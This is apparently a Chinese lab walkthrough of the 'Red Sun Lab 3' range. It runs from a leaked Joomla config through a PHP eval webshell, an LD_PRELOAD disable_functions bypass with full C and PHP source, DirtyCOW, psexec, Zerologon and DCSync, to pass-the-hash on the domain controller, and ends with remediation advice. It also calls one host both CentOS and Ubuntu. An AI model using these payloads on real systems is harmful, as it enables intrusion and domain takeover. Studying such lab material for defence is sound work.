红日靶场3(Red Sun Lab 3)渗透全记录 前言 红日靶场系列一直是内网渗透的经典靶场,这次趁着周末把靶场3从头到尾通了一遍。整个流程涵盖了从外网打点到内网横向移动、最终拿下域控的完整攻击链,记录一下思路和操作,供大家参考。
一、环境概述 靶场网络拓扑如下:
1 2 3 4 5 6 7 8 9 攻击机 (192.168.111.25 ) │ ├── 边界机 (192.168.111.20 / 192.168.93.100 ) — CentOS │ └── 内网机 (192.168.93.120 ) — CentOS (Web服务) │ └── 内网段 192.168.93.0 /24 ├── 192.168.93.10 — Windows Server 2008 (域控 DC) ├── 192.168.93.20 — Windows Server 2008 └── 192.168.93.30 — Windows 7 (域成员)
关键点 :外网访问的是 192.168.111.20,但实际 Joomla 服务跑在 192.168.93.120 上,中间有一层反向代理。
二、外网打点 — Joomla CMS 2.1 配置文件泄露 访问目标时发现存在 configuration.php~ 备份文件泄露:
成功读取到数据库配置信息:
字段
值
数据库用户
testuser
数据库密码
cvcvgjASD!@
数据库名
joomla
表前缀
am2zu_
2.2 修改管理员密码 拿到数据库凭据后,直接远程连接 MySQL:
1 mysql -h 192.168.111.20 -u testuser -p'cvcvgjASD!@' joomla
查看用户表发现超级管理员账户:
1 2 SELECT id, username FROM am2zu_users;
生成 Joomla 格式的密码哈希(MD5:salt):
1 UPDATE am2zu_users SET password= 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199' WHERE id= 891 ;
新密码设为 secret,成功登录后台。
2.3 上传 WebShell 登录 Joomla 后台后,通过 Extensions → Templates → Beez3 → 编辑 index.php,在文件末尾插入一句话木马:
1 <?php @eval ($_POST ['x' ]); ?>
哥斯拉连接成功,webshell 上线。
三、权限提升 — CentOS 提权 3.1 绕过 disable_functions 哥斯拉连接后发现 PHP 的 disable_functions 限制了大部分命令执行函数,但 putenv() 和 mail() 可用。使用 LD_PRELOAD 技术 绕过:
payload.c (共享库源码):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> void payload () { const char * cmd = getenv("CMD" ); if (cmd) { system(cmd); unsetenv("CMD" ); } }int geteuid () { if (getenv("LD_PRELOAD" ) == NULL ) { return 0 ; } unsetenv("LD_PRELOAD" ); payload(); return 0 ; }
编译为共享库:
1 gcc bypass_payload.c -o bypass.so -shared -fPIC
创建 webshell bypass.php:
1 2 3 4 5 6 7 <?php if (isset ($_GET ['cmd' ])){ putenv ("LD_PRELOAD=/tmp/bypass.so" ); putenv ("CMD=" . $_GET ['cmd' ]); mail ("" , "" , "" , "" ); }?>
上传后通过 http://192.168.111.20/bypass.php?cmd=whoami 成功执行系统命令。
3.2 DirtyCOW 内核提权 (CVE-2016-5195) 确认系统版本为 Ubuntu 4.4.0-142 内核,存在 DirtyCOW 漏洞。编译并运行提权 exploit:
1 2 gcc dirty.c -o dirty -pthread -lcrypt ./dirty password123
等待几秒后,新建的 firefart 用户(uid=0)成功写入 /etc/passwd:
成功获取 root 权限!
四、内网渗透 4.1 内网探测 利用 MSF 的 post/multi/manage/autoroute 模块建立内网路由:
1 2 3 4 5 6 msf6 > use post/multi/manage/autoroute msf6 > set SESSION 1 msf6 > run [+] Route added to subnet 192.168.93.0/24 [+] Route added to subnet 192.168.153.0/24
通过 MSF 的 UDP 探测模块发现内网存活主机:
192.168.93.10 — 域控 (WIN-8GA56TNV3MV)
192.168.93.20 — Windows Server 2008
192.168.93.30 — Windows 7
4.2 横向移动 — Windows 7 通过弱口令扫描发现 192.168.93.30 的 SMB 管理员凭据复用:
主机
用户名
密码
192.168.93.30
administrator
123qwe!ASD
使用 MSF 的 psexec 模块拿下 Windows 7:
1 2 3 4 5 6 7 8 9 msf6 > use exploit/windows/smb/psexec msf6 > set RHOSTS 192.168.93.30 msf6 > set SMBUser administrator msf6 > set SMBPass 123qwe!ASD msf6 > set payload windows/x64/meterpreter/bind_tcp msf6 > run [*] Sending stage (248902 bytes) to 192.168.93.30 [*] Meterpreter session 2 opened
信息收集确认:
项目
值
主机名
WIN7
域
TEST
DNS
192.168.93.10
IP
192.168.93.30
4.3 凭证提取 通过 hashdump 提取本地管理员哈希:
1 Administrator:500 :aad3 b435 b51404 eeaad3 b435 b51404 ee:31 c 1794 c 5 aa8547 c 87 a8 bcd0324 b8337
尝试 Pass The Hash 打域控失败(不同密码),于是使用 mimikatz 检测 Zerologon 漏洞。
五、域控沦陷 — Zerologon + DCSync 5.1 检测 Zerologon 漏洞 在 win7 的 meterpreter 会话中,通过 mimikatz 的 lsadump::zerologon 模块检测域控:
1 2 3 4 5 6 meterpreter > kiwi_cmd lsadump::zerologon / target:WIN-8 GA56TNV3MV.test.org / account:WIN-8 GA56TNV3MV$ /exploit NetrServerAuthenticate2: 0 x00000000NetrServerPasswordSet2 : 0 x00000000* Authentication: OK - - vulnerable* Set password : OK
Zerologon (CVE-2020-1472) 存在,域控机器账户密码已重置为空!
5.2 DCSync 提取域管理员哈希 利用重置为空密码的机器账户,通过 DCSync 攻击获取域管理员哈希:
1 2 3 4 5 meterpreter > kiwi_cmd lsadump::dcsync /domain:test.org /dc:WIN-8GA56TNV3MV.test.org /user:administrator /authuser:WIN-8GA56TNV3MV$ /authdomain:test /authpassword: ** SAM ACCOUNT ** SAM Username : Administrator Hash NTLM: 18edd0cc3227be3bf61ce198835a1d97
5.3 拿下域控 使用得到的管理员 NTLM Hash,通过 impacket 的 wmiexec.py 登录域控:
1 2 3 proxychains4 python3 /usr/share/doc/python3-impacket/examples/wmiexec.py \ -hashes :18edd0cc3227be3bf61ce198835a1d97 \ TEST/administrator@192.168.93.10
成功获取域控 shell,读取 Flag:
1 2 C :\Users\Administrator\Documents\flag.txt5 a6239835a5a7e5e88d6f4d54dda2468
六、攻击链总结 1 2 3 4 5 6 7 8 9 10 configuration.php~ 泄露 → 数据库密码获取 → Joomla 后台登录 + webshell → LD_PRELOAD 绕过 disable_functions → DirtyCOW 内核提权 (root) → 内网扫描 + PSExec 横向 → Zerologon 重置 DC 密码 → DCSync 提取域管理员哈希 → PTH + WMIEXEC 登录域控 → 获取 Flag ✓
七、修复建议
漏洞
危害
修复方案
configuration.php~ 备份泄露
高
禁止 Web 访问 *.php~ 备份文件
Disable_functions 不完整
中
禁用 putenv/mail 函数或使用 disable_classes
DirtyCOW (CVE-2016-5195)
高
升级 Linux 内核至 4.8+
弱口令 123qwe!ASD
高
使用复杂密码,开启账户锁定策略
Zerologon (CVE-2020-1472)
严重
安装 KB4557222 补丁
相同密码复用
高
不同主机使用不同密码
记录于 2026年7月12日